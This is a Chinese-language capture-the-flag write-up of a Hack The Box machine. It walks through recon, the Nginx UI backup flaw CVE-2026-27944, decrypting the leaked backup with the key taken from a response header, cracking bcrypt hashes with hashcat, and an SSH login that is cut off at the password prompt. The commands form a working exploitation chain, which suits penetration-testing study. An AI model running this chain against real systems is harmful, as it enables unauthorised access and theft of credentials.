一、靶机的相关信息二、信息搜集对目标进行 TCP 全端口扫描 指纹识别 操作系统识别roothtb:~# rustscan -a 10.129.45.91 -r 1-65535 -- -sV -Pn -n -O扫描结果显示有两个 TCP 端口开放分别是 22 与 80PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0) 80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)从端口指纹信息看目标大概率是 Ubuntu 系统。根据信息TTL 63 Network Distance 2 hops首先2 hops 说明目标经过两条达到我这里即原始 TTL 值很可能是 64这同样符合 Linux 的指纹。因为我们是通过 Openvpn 连接的靶机因此中间隔一跳是正常的现象而且这一跳大概率就是 VPN 隧道。由此看来目前最应该查看的就是 80 端口。三、TCP 80访问 80roothtb:~# curl http://10.129.45.91 -v * Trying 10.129.45.91:80... * Connected to 10.129.45.91 (10.129.45.91) port 80 (#0) GET / HTTP/1.1 Host: 10.129.45.91 User-Agent: curl/7.88.1 Accept: */* HTTP/1.1 302 Moved Temporarily Server: nginx/1.24.0 (Ubuntu) Date: Wed, 29 Apr 2026 06:51:49 GMT Content-Type: text/html Content-Length: 154 Connection: keep-alive Location: http://snapped.htb/会重定向到http://snapped.htb跟随重定向roothtb:~# curl http://10.129.45.91 -v -L * Trying 10.129.45.91:80... * Connected to 10.129.45.91 (10.129.45.91) port 80 (#0) GET / HTTP/1.1 Host: 10.129.45.91 User-Agent: curl/7.88.1 Accept: */* HTTP/1.1 302 Moved Temporarily Server: nginx/1.24.0 (Ubuntu) Date: Wed, 29 Apr 2026 06:52:30 GMT Content-Type: text/html Content-Length: 154 Connection: keep-alive Location: http://snapped.htb/ * Ignoring the response-body * Connection #0 to host 10.129.45.91 left intact * Issue another request to this URL: http://snapped.htb/ * Could not resolve host: snapped.htb * Closing connection 1 curl: (6) Could not resolve host: snapped.htb显示无法处理域名snapped.htbCould not resolve host: snapped.htb。这是正常现象要解析域名系统首先会查询本地 DNS 记录如果没有的话会询问递归 DNS 服务器由它来完成后续 DNS 的解析并返回有效 A 记录即 IP 地址而snapped.htb显然是内部域名非公网 DNS 中可解析的域名这就导致本机无法拿到有效的地址因此报错。解决方法在/etc/hosts文件中手动添加主机和域名的映射关系roothtb:~# echo 10.129.45.91 snapped.htb | tee -a /etc/hosts 10.129.45.91 snapped.htb此时再次访问就能看到响应包 HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Wed, 29 Apr 2026 07:09:14 GMT Content-Type: text/html Content-Length: 20199 Last-Modified: Thu, 19 Mar 2026 15:11:44 GMT Connection: keep-alive ETag: 69bc1230-4ee7 Accept-Ranges: bytesbanner 显示它运行着 Nginx 服务并且版本号为 1.24.0同时也告诉我们目标是 Ubuntu。输入http://snapped.htb/abcd报错界面也出现了与 Banner 上看到的相同的信息从重定向后的 http 请求包的请求头 GET / HTTP/1.1 Host: snapped.htb User-Agent: curl/7.88.1 Accept: */*可以发现这是虚拟主机的提示可以尝试进行虚拟主机枚举roothtb:~# ffuf -u http://10.129.45.91 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H Host: FUZZ.snapped.htb -c -ac /___\ /___\ /___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0 ________________________________________________ :: Method : GET :: URL : http://10.129.45.91 :: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt :: Header : Host: FUZZ.snapped.htb :: Follow redirects : false :: Calibration : true :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 :: Filter : Response words: 4 :: Filter : Response lines: 8 :: Filter : Response size: 154 ________________________________________________ admin [Status: 200, Size: 1407, Words: 164, Lines: 50] :: Progress: [5000/5000] :: Job [1/1] :: 416 req/sec :: Duration: [0:00:12] :: Errors: 0 ::发现虚拟主机admin.snapped.htb。同样在hosts文件中添加映射10.129.45.91 snapped.htb admin.snapped.htb再次访问四、Nginx UI这是一个开源的 Nginx 网络管理界面项目地址https://github.com/0xJacky/nginx-ui/从介绍可以分析出其很可能是前端Vue 框架后端Go 编写查找 JS 文件并查看其中是否有暴露版本号的情况。roothtb:~/backup# curl -s http://admin.snapped.htb/ | grep -P \.js\b script typemodule crossorigin src./assets/index-DoHxQupa.js/script继续查看index-DoHxQupa.js文件roothtb:~/backup# curl -s http://admin.snapped.htb/assets/index-DoHxQupa.js | grep -oP version[-\w]*\.js version-BWPlJ0ga.js version-CdjIlmL0.js查看第一个文件就看到了版本号roothtb:~/backup# curl -s http://admin.snapped.htb/assets/version-BWPlJ0ga.js const t2.3.2;const o{version:t,build_id:1,total_build:512};export{o as a,t as v};版本号为2.3.2。有了上述信息后我的第一反应是通过版本号和对应组件关联公开 CVE。这是一种常见的 nday 思路国内靶场基本都是这个套路。相比之下国外大佬 0xdf博客https://0xdf.gitlab.io/在同样的位置他并没有立即跳到“找 CVE → 打 CVE”而是先记录站点行为观察 Burp Site map 中出现的路径和请求分析前端资源、接口结构、目录枚举结果以及应用功能。Orz我们应该脱离那种套路题的模板思路转向真正的渗透测试思维。这里模仿大佬的思路走一遍。首先技术栈的识别rootcurl http://admin.snapped.htb -I HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Wed, 29 Apr 2026 08:31:03 GMT Content-Type: text/html; charsetutf-8 Content-Length: 1407 Connection: keep-alive Accept-Ranges: bytes Request-Id: c1bb78f4-1571-42f7-ab3d-48921abc505fBannernginx/1.24.0 (Ubuntu)查看报错界面roothtb:~# curl http://admin.snapped.htb/abcd -v * Trying 10.129.45.91:80... * Connected to admin.snapped.htb (10.129.45.91) port 80 (#0) GET /abcd HTTP/1.1 Host: admin.snapped.htb User-Agent: curl/7.88.1 Accept: */* HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Wed, 29 Apr 2026 08:31:57 GMT Content-Type: application/json; charsetutf-8 Content-Length: 23 Connection: keep-alive Request-Id: 9e11458a-5733-4f4e-8c88-d6d4dc8ab85f * Connection #0 to host admin.snapped.htb left intact {message:not found}回复了一个 JSON 格式的正文内容。值得注意的是由于之前尝试过弱密码登入admin:adminBurp 中的 Site Map 就记录下来了对应的 API 信息在没有账号的前提下无法对这个登入框有什么作为SQL 测试之类的在此处并不具备很高的优先级因此决定采用目录枚举roothtb:~# feroxbuster -u http://admin.snapped.htb/ ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben epi Risher ver: 2.13.1 ───────────────────────────┬────────────────────── Target Url │ http://admin.snapped.htb/ In-Scope Url │ admin.snapped.htb Threads │ 50 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt Status Codes │ All Status Codes! Timeout (secs) │ 7 User-Agent │ feroxbuster/2.13.1 Config File │ /root/.config/feroxbuster/ferox-config.toml Extract Links │ true HTTP methods │ [GET] Recursion Depth │ 4 ───────────────────────────┴────────────────────── Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 1l 2w 23c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 9l 12w 243c http://admin.snapped.htb/browserconfig.xml 200 GET 63l 116w 1316c http://admin.snapped.htb/manifest.json 200 GET 30l 282w 11373c http://admin.snapped.htb/pwa-192x192.png 200 GET 6l 17w 1344c http://admin.snapped.htb/favicon-32x32.png 301 GET 0l 0w 0c http://admin.snapped.htb/assets assets/ 404 GET 212l 423w 12987c http://admin.snapped.htb/assets/ 200 GET 106l 588w 50147c http://admin.snapped.htb/pwa-512x512.png 200 GET 64l 142w 75487c http://admin.snapped.htb/favicon.ico 200 GET 1l 8254w 308866c http://admin.snapped.htb/assets/index-Cjd4fVAL.css 200 GET 624l 38187w 2050223c http://admin.snapped.htb/assets/index-DoHxQupa.js 200 GET 50l 104w 1407c http://admin.snapped.htb/ 403 GET 1l 2w 34c http://admin.snapped.htb/mcp [####################] - 46s 60012/60012 0s found:12 errors:0 [####################] - 45s 30000/30000 667/s http://admin.snapped.htb/ [####################] - 45s 30000/30000 672/s http://admin.snapped.htb/assets/在已知有 api 目录的前提下可以对该目录进行补扫因为上述扫描并没有看到这个目录roothtb:~# feroxbuster -u http://admin.snapped.htb/api ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben epi Risher ver: 2.13.1 ───────────────────────────┬────────────────────── Target Url │ http://admin.snapped.htb/api In-Scope Url │ admin.snapped.htb Threads │ 50 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt Status Codes │ All Status Codes! Timeout (secs) │ 7 User-Agent │ feroxbuster/2.13.1 Config File │ /root/.config/feroxbuster/ferox-config.toml Extract Links │ true HTTP methods │ [GET] Recursion Depth │ 4 ───────────────────────────┴────────────────────── Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 1l 2w 23c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 403 GET 1l 2w 34c http://admin.snapped.htb/api/user 403 GET 1l 2w 34c http://admin.snapped.htb/api/node 403 GET 1l 2w 34c http://admin.snapped.htb/api/sites 200 GET 1l 1w 29c http://admin.snapped.htb/api/install 403 GET 1l 2w 34c http://admin.snapped.htb/api/config 403 GET 1l 2w 34c http://admin.snapped.htb/api/users 200 GET 77l 454w 33017c http://admin.snapped.htb/api/backup 403 GET 1l 2w 34c http://admin.snapped.htb/api/events 403 GET 1l 2w 34c http://admin.snapped.htb/api/settings 403 GET 1l 2w 34c http://admin.snapped.htb/api/configs 403 GET 1l 2w 34c http://admin.snapped.htb/api/certs 403 GET 1l 2w 34c http://admin.snapped.htb/api/notifications 403 GET 1l 2w 34c http://admin.snapped.htb/api/streams 200 GET 1l 9w 52782c http://admin.snapped.htb/api/licenses 403 GET 1l 2w 34c http://admin.snapped.htb/api/analytic 403 GET 1l 2w 34c http://admin.snapped.htb/api/nodes [####################] - 45s 30002/30002 0s found:16 errors:0 [####################] - 45s 30000/30000 667/s http://admin.snapped.htb/api/installbackuplicenses这三个的响应码显示 200。先看看installroothtb:~# curl http://admin.snapped.htb/api/install -v * Trying 10.129.45.91:80... * Connected to admin.snapped.htb (10.129.45.91) port 80 (#0) GET /api/install HTTP/1.1 Host: admin.snapped.htb User-Agent: curl/7.88.1 Accept: */* HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Wed, 29 Apr 2026 08:58:16 GMT Content-Type: application/json; charsetutf-8 Content-Length: 29 Connection: keep-alive Request-Id: 1e77b754-c5e9-4269-8708-096c549f7db2 * Connection #0 to host admin.snapped.htb left intact {lock:true,timeout:false}显示被锁住了。查看licenses能发现其中有大量的依赖信息已经对应的授权协议licensesroothtb:~# curl http://admin.snapped.htb/api/licenses -s | jq . | head -20 { backend: [ { name: Go Programming Language, license: BSD-3-Clause, url: https://golang.org, version: go1.25.5 }, { name: gorm.io/gorm, license: Unknown, url: https://gorm.io/gorm, version: v1.31.1 }, { name: cloud.google.com/go/auth/oauth2adapt, license: Apache-2.0, url: https://cloud.google.com/go/auth/oauth2adapt, version: v0.2.8 },五、backup尝试访问roothtb:~# curl http://admin.snapped.htb/api/backup Warning: Binary output can mess up your terminal. Use --output - to tell Warning: curl to output it to your terminal anyway, or consider --output Warning: FILE to save to a file.看来会给我们一个文件没有下载成功的原因是curl缺少了--output参数通常简写为-o下载文件roothtb:~# curl -o backup http://admin.snapped.htb/api/backup % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 18354 100 18354 0 0 48495 0 --:--:-- --:--:-- --:--:-- 48427查看文件类型roothtb:~# file backup backup: Zip archive data, at least v2.0 to extract, compression methoddeflate是一个压缩包为了后续搞混先将其重命名一下加一个后缀roothtb:~# mv backup backup.zip解压roothtb:~# unzip backup.zip -d backup Archive: backup.zip inflating: backup/hash_info.txt inflating: backup/nginx-ui.zip inflating: backup/nginx.zip进入backup目录里面有三个文件roothtb:~# cd backup roothtb:~/backup# ls hash_info.txt nginx-ui.zip nginx.zip查看三个文件的类型roothtb:~/backup# file * hash_info.txt: data nginx-ui.zip: data nginx.zip: DOS executable (COM), start instruction 0xb8c85bbf ccfd9ffc可以发现异常现象明明应该是一个压缩包文件却没有显示 Zip 字样高度怀疑它们经过了加密、压缩封装或混淆处理。注意Linux 中并不靠后缀来决定文件类型但是上面说其异常的点在于命名格式与实际检测结果不匹配。这里顺带做个补充file 的判断文件类型的逻辑主要靠 magic bytes也就是文件开头的特征字节。正常 ZIP 文件开头通常是50 4b 03 04也就是 ASCII 里的PK..这里文件的开头 magic bytesroothtb:~/backup# xxd -l 32 nginx-ui.zip 00000000: bdad dd14 e9a8 449d fd50 407b cd45 5b33 ......D..P{.E[3 00000010: c465 fccf 73fd bd1a 4063 ff58 4cc1 c619 .e..s...c.XL...并不是正常的。从全局视角来看这里如果检查一下 http 响应部分说不定就直接自己把这个 CVE 给挖出来了……六、CVE-2026-27944到了熟悉的“找 CVE”环节通过 Dork 语法Nginx UI 2.3.2 cve backup大家可以发现我在搜索内容中添加了“backup”一词这是上一步骤中我们卡住的部分通过限定这个特殊词能大幅度提升漏洞查找的精准度。我们之前的操作刚好就卡在第二步这里这也是我为什么说“要是看个响应说不定就自己挖出来了”。重新下载压缩包因为 CBC 模式下的 IV 每次并不相同roothtb:~# curl -o backup.zip http://admin.snapped.htb/api/backup -v % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying 10.129.45.91:80... * Connected to admin.snapped.htb (10.129.45.91) port 80 (#0) GET /api/backup HTTP/1.1 Host: admin.snapped.htb User-Agent: curl/7.88.1 Accept: */* HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Wed, 29 Apr 2026 10:27:25 GMT Content-Type: application/zip Content-Length: 18354 Connection: keep-alive Accept-Ranges: bytes Cache-Control: must-revalidate Content-Description: File Transfer Content-Disposition: attachment; filenamebackup-20260429-062725.zip Content-Transfer-Encoding: binary Expires: 0 Last-Modified: Wed, 29 Apr 2026 10:27:25 GMT Pragma: public Request-Id: 54536c03-4903-4b63-a56d-c015eb5a3441 X-Backup-Security: qjhNvNsceSTvrkFKiTyshBYSmAXPOtXuOQTKjdZkcIA:itB8QRRo9Q1RRXE6xByw { [12926 bytes data] 100 18354 100 18354 0 0 80054 0 --:--:-- --:--:-- --:--:-- 79800 * Connection #0 to host admin.snapped.htb left intact密钥qjhNvNsceSTvrkFKiTyshBYSmAXPOtXuOQTKjdZkcIAIVitB8QRRo9Q1RRXE6xByw解码roothtb:~# echo qjhNvNsceSTvrkFKiTyshBYSmAXPOtXuOQTKjdZkcIA | base64 -d | xxd -p -c 0 aa384dbcdb1c7924efae414a893cac8416129805cf3ad5ee3904ca8dd6647080 roothtb:~# echo itB8QRRo9Q1RRXE6xByw | base64 -d | xxd -p -c 0 8ad07c411468f50d7e4515fe13ac41cb先解压下载下来的文件并进入目录roothtb:~# unzip backup.zip -d backup Archive: backup.zip inflating: backup/hash_info.txt inflating: backup/nginx-ui.zip inflating: backup/nginx.zip roothtb:~# cd backup在目录中还有一个文件之前没分析那就是hash_info.txt通过cat查看发现是一堆乱码roothtb:~/backup# cat hash_info.txt 3Q[þR7VYܧ~N±fCZ]֡~gެ鈙¹°ȉud7t闋fsQ ڟNJV|ȏ¤X‡s澞¤¬kԶ¢帐ړ8|n7 º:(Qj핈㜝u¢D]¯u³dw#应该也是经过加密了的可以先拿它试试解密操作roothtb:~/backup# openssl enc -aes-256-cbc -d -in hash_info.txt -out hash_info_dec.txt -K aa384dbcdb1c7924efae414a893cac8416129805cf3ad5ee3904ca8dd6647080 -iv 8ad07c411468f50d7e4515fe13ac41cb roothtb:~/backup# cat hash_info_dec.txt nginx-ui_hash: 6460e4970376c07e9773ef57ab85c93aebb137ef944ce720753121c9af693d7b nginx_hash: 75deb0e951bb55d9866c155812e5cc60b611cdd947ae439b3114b56d50c8232b timestamp: 20260429-062725 version: 2.3.2成功恢复明文说明 CVE 和思路都是对的。同理解密那两个压缩包roothtb:~/backup# openssl enc -aes-256-cbc -d -in nginx-ui.zip -out nginx-ui-dec.zip -K aa384dbcdb1c7924efae414a893cac8416129805cf3ad5ee3904ca8dd6647080 -iv 8ad07c411468f50d7e4515fe13ac41cb roothtb:~/backup# openssl enc -aes-256-cbc -d -in nginx.zip -out nginx-dec.zip -K aa384dbcdb1c7924efae414a893cac8416129805cf3ad5ee3904ca8dd6647080 -iv 8ad07c411468f50d7e4515fe13ac41cb这样就获得两个解密后的压缩包了roothtb:~/backup# file nginx-ui-dec.zip nginx-ui-dec.zip: Zip archive data, at least v2.0 to extract, compression methoddeflate roothtb:~/backup# file nginx-dec.zip nginx-dec.zip: Zip archive data, at least v2.0 to extract, compression methodstore解压roothtb:~/backup# unzip nginx-ui-dec.zip -d nginx-ui Archive: nginx-ui-dec.zip inflating: nginx-ui/app.ini inflating: nginx-ui/database.db roothtb:~/backup# unzip nginx-dec.zip -d nginx Archive: nginx-dec.zip creating: nginx/conf.d/ inflating: nginx/fastcgi.conf inflating: nginx/fastcgi_params inflating: nginx/koi-utf inflating: nginx/koi-win inflating: nginx/mime.types creating: nginx/modules-available/ creating: nginx/modules-enabled/ inflating: nginx/nginx.conf inflating: nginx/proxy_params inflating: nginx/scgi_params creating: nginx/sites-available/ inflating: nginx/sites-available/nginx-ui inflating: nginx/sites-available/snapped creating: nginx/sites-enabled/ inflating: nginx/sites-enabled/nginx-ui - /etc/nginx/sites-available/nginx-ui inflating: nginx/sites-enabled/snapped - /etc/nginx/sites-available/snapped creating: nginx/snippets/ inflating: nginx/snippets/fastcgi-php.conf inflating: nginx/snippets/snakeoil.conf inflating: nginx/uwsgi_params inflating: nginx/win-utf finishing deferred symbolic links: nginx/sites-enabled/nginx-ui - /etc/nginx/sites-available/nginx-ui nginx/sites-enabled/snapped - /etc/nginx/sites-available/snapped七、查看压缩包中的内容1、nginxroothtb:~/backup/nginx# ls -l total 68 drwxr-xr-x 2 root root 4096 Apr 29 10:27 conf.d -rw-r--r-- 1 root root 1125 Apr 29 10:27 fastcgi.conf -rw-r--r-- 1 root root 1055 Apr 29 10:27 fastcgi_params -rw-r--r-- 1 root root 2837 Apr 29 10:27 koi-utf -rw-r--r-- 1 root root 2223 Apr 29 10:27 koi-win -rw-r--r-- 1 root root 5465 Apr 29 10:27 mime.types drwxr-xr-x 2 root root 4096 Apr 29 10:27 modules-available drwxr-xr-x 2 root root 4096 Apr 29 10:27 modules-enabled -rw-r--r-- 1 root root 1483 Apr 29 10:27 nginx.conf -rw-r--r-- 1 root root 180 Apr 29 10:27 proxy_params -rw-r--r-- 1 root root 636 Apr 29 10:27 scgi_params drwxr-xr-x 2 root root 4096 Apr 29 10:27 sites-available drwxr-xr-x 2 root root 4096 Apr 29 10:27 sites-enabled drwxr-xr-x 2 root root 4096 Apr 29 10:27 snippets -rw-r--r-- 1 root root 664 Apr 29 10:27 uwsgi_params -rw-r--r-- 1 root root 3071 Apr 29 10:27 win-utf查看 nginx 配置文件nginx.confroothtb:~/backup/nginx# cat nginx.conf user www-data; worker_processes auto; pid /run/nginx.pid; error_log /var/log/nginx/error.log; include /etc/nginx/modules-enabled/*.conf; events { worker_connections 768; # multi_accept on; } http { ## # Basic Settings ## sendfile on; tcp_nopush on; types_hash_max_size 2048; include /etc/nginx/mime.types; default_type application/octet-stream; ## # SSL Settings ## ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE ssl_prefer_server_ciphers on; ## # Logging Settings ## access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; ## # Gzip Settings ## gzip on; include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; }重点关注其中被包含进来的文件include /etc/nginx/modules-enabled/*.conf include /etc/nginx/mime.types; include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*;其中mime.types和文件类型有关modules-enabled和conf.d这两个目录中并没有放内容因此重心就放在了sites-enabled目录roothtb:~/backup/nginx# ls -l sites-enabled/ total 0 lrwxrwxrwx 1 root root 35 Apr 29 12:00 nginx-ui - /etc/nginx/sites-available/nginx-ui lrwxrwxrwx 1 root root 34 Apr 29 12:00 snapped - /etc/nginx/sites-available/snapped开头的l是 link 的意思表示该文件只是符号链接其真实的地址在-指向的位置因此转而查看sites-available这个目录roothtb:~/backup/nginx# ls -l sites-available/ total 8 -rw-r--r-- 1 root root 463 Apr 29 10:27 nginx-ui -rw-r--r-- 1 root root 264 Apr 29 10:27 snapped依次查看roothtb:~/backup/nginx/sites-available# cat nginx-ui server { listen 80; server_name admin.snapped.htb; location / { proxy_pass http://127.0.0.1:9000; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection upgrade; } }这就说明了admin.snapped.htb是作为127.0.0.1:9000的反向代理存在的9000 端口应该就是之前看到的 Nginx Uiroothtb:~/backup/nginx/sites-available# cat snapped server { listen 80 default_server; server_name snapped.htb; root /var/www/html/snapped; index index.html; if ($host ! snapped.htb) { rewrite ^ http://snapped.htb/; } location / { try_files $uri $uri/ 404; } }信息根目录为/var/www/html/snapped对于任何不是snapped.htb的主机它都有一条重写规则这也印证了我们之前用 IP 访问 80 会重定向到snapped.htb2、nginx-ui目录结构roothtb:~/backup# ls -l nginx-ui total 260 -rw-r--r-- 1 root root 2295 Apr 29 10:27 app.ini -rw-r--r-- 1 root root 262144 Apr 29 10:27 database.db有两个文件先看app.iniroothtb:~/backup/nginx-ui# cat app.ini [server] RunMode release HttpPort 9000 HTTPChallengePort 9180 Host 127.0.0.1 Port 9000 BaseUrl EnableHTTPS false SSLCert SSLKey EnableH2 false EnableH3 false [nginx] ConfigDir /etc/nginx BinaryPath /usr/sbin/nginx AccessLogPath /var/log/nginx/access.log ErrorLogPath /var/log/nginx/error.log LogDirWhiteList ConfigPath PIDPath SbinPath TestConfigCmd ReloadCmd RestartCmd StubStatusPort 0 ContainerName [database] Path /var/lib/nginx-ui/database.db Name database [app] PageSize 20 JwtSecret 6c4af436-035a-4942-9ca6-172b36696ce9 [log] EnableFileLog false Dir MaxSize 0 MaxAge 0 MaxBackups 0 Compress false [sls] AccessKeyId AccessKeySecret EndPoint ProjectName APILogStoreName DefaultLogStoreName Source [auth] IPWhiteList BanThresholdMinutes 10 MaxAttempts 10 [backup] GrantedAccessPath [casdoor] Endpoint ExternalUrl ClientId ClientSecret CertificatePath Organization Application RedirectUri [cert] RecursiveNameservers Email admintest.htb CADir RenewalInterval 7 HTTPChallengePort 9180 [cluster] Node [crypto] Secret 5c942292647d73f597f47c0be2237bf7347cdb70a0e8e8558e448318862357d6 [http] GithubProxy InsecureSkipVerify false [logrotate] Enabled false CMD logrotate /etc/logrotate.d/nginx Interval 1440 [nginx_log] IndexingEnabled false IndexPath IncrementalIndexInterval 0 [node] Name Secret c64d7ca1-19cb-4ebe-96d4-49037e7df78e SkipInstallation false Demo false ICPNumber PublicSecurityNumber [openai] BaseUrl Token Proxy Model APIType OPEN_AI EnableCodeCompletion false CodeCompletionModel [terminal] StartCmd login [webauthn] RPDisplayName RPID RPOrigins 这应该就是 nginx ui 的配置文件信息Email admintest.htb还有一个文件是 SQLite 数据库文件可以直接用sqlite3提取文件中的信息。SQLite 是一个把整个数据库放在一个文件里的“轻量级数据库”。roothtb:~/backup/nginx-ui# sqlite3 database.db SQLite version 3.40.1 2022-12-28 14:03:47 Enter .help for usage hints. sqlite进入了交互式界面查看有哪些表sqlite .table acme_users configs namespaces sites auth_tokens dns_credentials nginx_log_indices streams auto_backups dns_domains nodes upstream_configs ban_ips external_notifies notifications users certs llm_sessions passkeys config_backups migrations site_configs查看 user 表sqlite SELECT * FROM users; 1|2026-03-19 08:22:54.41011219-04:00|2026-03-19 08:39:11.562741743-04:00||admin|$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm|1||g |²7DĪ:½\ԝD°Oҽu#,|en 2|2026-03-19 09:54:01.989628406-04:00|2026-03-19 09:54:01.989628406-04:00||jonathan|$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq|1||,¸§զ»He)5U¡К笕KĦD¨°Ɨ|en看到了两个用户其中一个是 admin还有对应的哈希值。哈希值以$2开头并且总字符数为roothtb:~/backup/nginx-ui# python3 Python 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] on linux Type help, copyright, credits or license for more information. str $2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm print(len(str)) 60这就基本可以判定这就是 bcrypt hash。拿 Admin 的 bcrypt hash 进行分解部分含义说明$2a$bcrypt 版本标识2a是最常见的版本10$Cost Factor成本因子2^10 1024 次迭代安全但不算特别强8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm实际哈希值包含 22 位 salt 31 位 hash建立一个文件存放 Hashvim hash写入$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm $2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq用hashcat进行本地爆破hashcat hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -m 3200不久就能跑出$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq:linkinpark即用户 jonathan 的明文密码为linkinpark但是admin 用户的 hash 爆破了很久还是没有出来因为判定题目就是不让你爆破只让你登入普通账户然后走提权的思路。八、User Flag还记得目标是开放着 22 端口的直接登入roothtb:~/backup/nginx-ui# ssh jonathan10.129.45.91 The authenticity of host 10.129.45.91 (10.129.45.91) cant be established. ED25519 key fingerprint is SHA256:n0XlQQqHGczclhalpCeoOZDYQGr7rl3WlJytHLWPkr8. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:1: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 10.129.45.91 (ED25519) to the list of known hosts. jonathan10.129.45.91s password: